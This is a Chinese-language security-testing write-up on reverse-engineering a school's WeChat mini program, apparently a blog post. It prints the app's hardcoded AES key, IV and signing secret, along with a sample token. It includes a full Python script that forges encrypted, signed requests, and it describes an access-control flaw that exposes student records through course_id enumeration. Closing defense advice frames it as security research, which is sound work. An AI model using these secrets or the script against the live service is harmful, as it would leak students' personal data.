记一次微信小程序逆向
字数 1414 2025-08-19 12:42:10
微信小程序逆向分析与安全测试实战教程
一、前言
本教程详细记录了一次微信小程序逆向分析与安全测试的全过程,涵盖反编译、加密分析、签名破解、重放攻击等技术要点。通过本案例,读者可以学习到微信小程序安全测试的完整方法论。
二、工具准备
-
反编译工具:
- wxapkg解密工具:https://github.com/wux1an/wxapkg
- 用于解包微信小程序的.wxapkg文件
-
加密分析工具:
- 在线AES工具:https://www.wushuangzl.com/tools/aes/
- 用于验证加密算法
-
抓包工具:
- Burp Suite + autoDecoder插件
- 用于拦截和自动加解密流量
-
开发环境:
- Python 3.x
- PyCryptodome库(AES加解密)
- hashlib库(MD5计算)
三、反编译小程序
-
获取小程序.wxapkg文件:
- 从微信缓存目录中提取目标小程序的包文件
-
使用wxapkg工具反编译:
wxapkg -d input.wxapkg output_dir- 反编译后得到JS源码,便于后续分析
四、加密分析
1. 识别加密方式
通过抓包和源码分析,确认小程序使用:
- AES-CBC模式加密
- 固定密钥:
Wet2C8d34f62ndi3 - 固定IV:
K6iv85jBD8jgf32D
2. 加解密实现
Python实现AES加解密:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
def aes_encrypt(data, key, iv):
key_bytes = key.encode('utf-8')
iv_bytes = iv.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
return base64.b64encode(ct_bytes).decode('utf-8')
def aes_decrypt(encrypted_data, key, iv):
key_bytes = key.encode('utf-8')
iv_bytes = iv.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
pt_bytes = cipher.decrypt(base64.b64decode(encrypted_data))
return unpad(pt_bytes, AES.block_size).decode('utf-8')
五、签名机制分析
1. Sign签名生成规则
通过分析JS源码,发现签名生成流程:
- 对所有参数按键名排序
- 拼接键名和键值(如
key1value1key2value2...) - 末尾添加固定密钥
rDJiNB9j7vD2 - 计算MD5哈希值
Python实现:
import hashlib
def generate_sign(data, secret_key):
sorted_data = sorted(data.items())
joined_data = ''.join([f'{key}{value}' for key, value in sorted_data])
joined_data_with_key = joined_data + secret_key
return hashlib.md5(joined_data_with_key.encode()).hexdigest()
2. 时间戳与随机数
timestamp:当前UNIX时间戳nonce:由时间戳后3位+3位随机数组成- 如果时间戳后3位以0开头,则去掉前导0
Python实现:
import time
import random
def generate_nonce():
timestamp = int(time.time())
last_three = str(timestamp)[-3:]
if last_three[0] == '0':
last_three = last_three[1:]
random_part = ''.join(str(random.randint(0,9)) for _ in range(6-len(last_three)))
return int(last_three + random_part)
六、Burp Suite自动化配置
- 安装autoDecoder插件
- 配置请求/响应加解密规则:
- 请求解密正则:匹配加密请求体
- 响应解密正则:匹配加密响应体
- 配置加解密函数(使用上述Python实现)
七、接口安全测试
1. 越权测试
- 测试
uid参数是否可篡改 - 发现
uid与token绑定,无法直接越权
2. 敏感接口发现
通过分析JS源码发现多个潜在敏感接口:
/v3/api.php/TeacherCourse/getStudentList/v3/api.php/Exam/classStudentList
3. 数据泄露漏洞
- 普通用户身份可访问教师权限接口
- 通过修改
course_id参数可遍历获取学生信息 - 泄露数据包含:学号、姓名、学院、专业等
八、防御建议
-
加密增强:
- 避免使用固定密钥和IV
- 考虑使用动态密钥或非对称加密
-
签名机制改进:
- 增加签名时效性验证
- 使用更复杂的签名算法(如HMAC-SHA256)
-
接口安全:
- 严格权限控制
- 敏感接口增加二次验证
- 对批量查询接口实施速率限制
-
混淆加固:
- 对关键JS代码进行混淆
- 使用小程序加固方案
九、完整测试脚本
import hashlib
import time
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import json
# AES配置
AES_KEY = "Wet2C8d34f62ndi3"
AES_IV = "K6iv85jBD8jgf32D"
# 签名密钥
SIGN_KEY = "rDJiNB9j7vD2"
def aes_encrypt(data, key=AES_KEY, iv=AES_IV):
key_bytes = key.encode('utf-8')
iv_bytes = iv.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
return base64.b64encode(ct_bytes).decode('utf-8')
def aes_decrypt(encrypted_data, key=AES_KEY, iv=AES_IV):
key_bytes = key.encode('utf-8')
iv_bytes = iv.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
pt_bytes = cipher.decrypt(base64.b64decode(encrypted_data))
return unpad(pt_bytes, AES.block_size).decode('utf-8')
def generate_sign(data, secret_key=SIGN_KEY):
sorted_data = sorted(data.items())
joined_data = ''.join([f'{key}{value}' for key, value in sorted_data])
joined_data_with_key = joined_data + secret_key
return hashlib.md5(joined_data_with_key.encode()).hexdigest()
def generate_nonce():
timestamp = int(time.time())
last_three = str(timestamp)[-3:]
if last_three[0] == '0':
last_three = last_three[1:]
random_part = ''.join(str(random.randint(0,9)) for _ in range(6-len(last_three)))
return int(last_three + random_part)
def build_request_payload(base_data):
timestamp = int(time.time())
nonce = generate_nonce()
data = {
**base_data,
"timestamp": timestamp,
"nonce": nonce
}
data["sign"] = generate_sign(data)
return aes_encrypt(json.dumps(data))
# 示例使用
if __name__ == "__main__":
base_data = {
"uid": 100123,
"token": "216A3906F97C26A29EC0FE10F3956692",
"school_id": 464,
"course_id": 0,
"student_num": "123"
}
encrypted = build_request_payload(base_data)
print("Encrypted:", encrypted)
# 解密测试
decrypted = aes_decrypt(encrypted)
print("Decrypted:", decrypted)
十、总结
本案例展示了微信小程序安全测试的完整流程,从反编译到加密分析,再到接口安全测试。关键点包括:
- 小程序包反编译技术
- AES加密算法的识别与破解
- 签名机制的逆向分析
- Burp Suite自动化测试配置
- 接口权限绕过测试方法
通过这种系统化的分析方法,可以有效发现小程序中存在的各类安全问题。